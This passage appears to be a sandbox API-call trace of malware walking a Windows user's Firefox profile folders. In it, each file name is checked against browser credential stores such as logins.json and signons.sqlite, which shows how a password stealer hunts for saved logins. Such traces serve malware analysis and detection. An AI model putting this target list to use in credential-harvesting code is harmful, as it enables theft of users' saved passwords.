[0048.020] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 1 [0048.020] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.020] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0048.020] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0048.020] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0048.020] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.020] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.020] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa30 | out: lpFindFileData=0xefa30) returned 0 [0048.020] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0048.020] LocalFree (hMem=0x7469f0) returned 0x0 [0048.020] LocalFree (hMem=0x74d860) returned 0x0 [0048.020] LocalFree (hMem=0x74a738) returned 0x0 [0048.020] LocalFree (hMem=0x75b090) returned 0x0 [0048.020] LocalFree (hMem=0x745b68) returned 0x0 [0048.020] LocalFree (hMem=0x9401750) returned 0x0 [0048.020] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.020] lstrlenA (lpString="*.*") returned 3 [0048.020] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x74a738 [0048.020] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.020] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*" [0048.020] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\*.*", lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 0x72dc90 [0048.020] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.020] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.020] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.020] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.020] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.020] lstrcmpiA (lpString1=".", lpString2="Crash Reports") returned -1 [0048.020] lstrcmpiA (lpString1="..", lpString2="Crash Reports") returned -1 [0048.020] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.020] lstrlenA (lpString="") returned 0 [0048.020] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.020] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.020] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.020] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.020] lstrlenA (lpString="Crash Reports") returned 13 [0048.020] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x745b68 [0048.020] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.020] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.021] LocalFree (hMem=0x74a800) returned 0x0 [0048.021] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 69 [0048.021] lstrlenA (lpString="\\*.*") returned 4 [0048.021] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x75c938 [0048.021] lstrcpyA (in: lpString1=0x75c938, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0048.021] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*" [0048.021] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*.*", lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0x72dcd0 [0048.021] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.021] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.021] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.021] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.021] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.021] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.sqlite") returned 0x0 [0048.021] lstrlenA (lpString="InstallTime20131025151332") returned 25 [0048.021] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="logins.json") returned 0x0 [0048.021] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons.txt") returned 0x0 [0048.021] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons2.txt") returned 0x0 [0048.021] StrStrIA (lpFirst="InstallTime20131025151332", lpSrch="signons3.txt") returned 0x0 [0048.021] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0 [0048.021] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.022] LocalFree (hMem=0x75c938) returned 0x0 [0048.022] LocalFree (hMem=0x745b68) returned 0x0 [0048.022] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.022] lstrcmpiA (lpString1=".", lpString2="Profiles") returned -1 [0048.022] lstrcmpiA (lpString1="..", lpString2="Profiles") returned -1 [0048.022] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.022] lstrlenA (lpString="") returned 0 [0048.022] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74a800 [0048.022] lstrcpyA (in: lpString1=0x74a800, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.022] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.022] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 56 [0048.022] lstrlenA (lpString="Profiles") returned 8 [0048.022] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x745b68 [0048.022] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\" [0048.022] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.022] LocalFree (hMem=0x74a800) returned 0x0 [0048.022] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.022] lstrlenA (lpString="\\*.*") returned 4 [0048.022] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x74d860 [0048.022] lstrcpyA (in: lpString1=0x74d860, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.022] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*" [0048.022] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\*.*", lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0x72dcd0 [0048.022] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.022] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.022] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.022] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.022] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 1 [0048.022] lstrcmpiA (lpString1=".", lpString2="asmpdd98.default") returned -1 [0048.022] lstrcmpiA (lpString1="..", lpString2="asmpdd98.default") returned -1 [0048.022] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 64 [0048.022] lstrlenA (lpString="\\") returned 1 [0048.023] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x7469f0 [0048.023] lstrcpyA (in: lpString1=0x7469f0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0048.023] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.023] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 65 [0048.023] lstrlenA (lpString="asmpdd98.default") returned 16 [0048.023] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x746ac0 [0048.023] lstrcpyA (in: lpString1=0x746ac0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" [0048.023] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.023] LocalFree (hMem=0x7469f0) returned 0x0 [0048.023] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.023] lstrlenA (lpString="\\*.*") returned 4 [0048.023] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x74fba8 [0048.023] lstrcpyA (in: lpString1=0x74fba8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.023] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*" [0048.023] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\*.*", lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 0x72dd50 [0048.023] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.023] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.023] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.023] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.023] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.023] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0048.023] lstrlenA (lpString="addons.json") returned 11 [0048.023] StrStrIA (lpFirst="addons.json", lpSrch="logins.json") returned 0x0 [0048.023] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0048.023] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0048.023] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0048.023] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.023] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0048.023] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0048.023] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.023] lstrlenA (lpString="\\") returned 1 [0048.023] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0048.023] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.023] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.023] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.023] lstrlenA (lpString="bookmarkbackups") returned 15 [0048.023] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74d998 [0048.023] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.023] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.023] LocalFree (hMem=0x74fc88) returned 0x0 [0048.023] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned 97 [0048.023] lstrlenA (lpString="\\*.*") returned 4 [0048.023] LocalAlloc (uFlags=0x40, uBytes=0xe6) returned 0x74da88 [0048.023] lstrcpyA (in: lpString1=0x74da88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups" [0048.023] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*" [0048.023] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\bookmarkbackups\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.024] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.024] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.024] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.024] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.024] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.024] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.sqlite") returned 0x0 [0048.024] lstrlenA (lpString="bookmarks-2017-06-30_5.json") returned 27 [0048.024] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="logins.json") returned 0x0 [0048.024] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons2.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="bookmarks-2017-06-30_5.json", lpSrch="signons3.txt") returned 0x0 [0048.024] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.024] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.024] LocalFree (hMem=0x74da88) returned 0x0 [0048.024] LocalFree (hMem=0x74d998) returned 0x0 [0048.024] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.024] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0048.024] lstrlenA (lpString="cert8.db") returned 8 [0048.024] StrStrIA (lpFirst="cert8.db", lpSrch="logins.json") returned 0x0 [0048.024] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0048.024] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.024] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0048.024] lstrlenA (lpString="compatibility.ini") returned 17 [0048.024] StrStrIA (lpFirst="compatibility.ini", lpSrch="logins.json") returned 0x0 [0048.024] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0048.024] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.024] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.024] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0048.024] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="logins.json") returned 0x0 [0048.024] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.024] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.024] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.024] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.024] lstrlenA (lpString="cookies.sqlite") returned 14 [0048.024] StrStrIA (lpFirst="cookies.sqlite", lpSrch="logins.json") returned 0x0 [0048.024] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.025] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.025] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.025] lstrlenA (lpString="downloads.sqlite") returned 16 [0048.025] StrStrIA (lpFirst="downloads.sqlite", lpSrch="logins.json") returned 0x0 [0048.025] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.025] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.025] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0048.025] lstrlenA (lpString="extensions.ini") returned 14 [0048.025] StrStrIA (lpFirst="extensions.ini", lpSrch="logins.json") returned 0x0 [0048.025] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0048.025] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.025] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.025] lstrlenA (lpString="extensions.sqlite") returned 17 [0048.025] StrStrIA (lpFirst="extensions.sqlite", lpSrch="logins.json") returned 0x0 [0048.025] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.025] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.025] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.025] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0048.025] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0048.025] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.025] lstrlenA (lpString="\\") returned 1 [0048.025] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0048.025] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.025] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.025] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.025] lstrlenA (lpString="healthreport") returned 12 [0048.025] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74fd68 [0048.025] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" 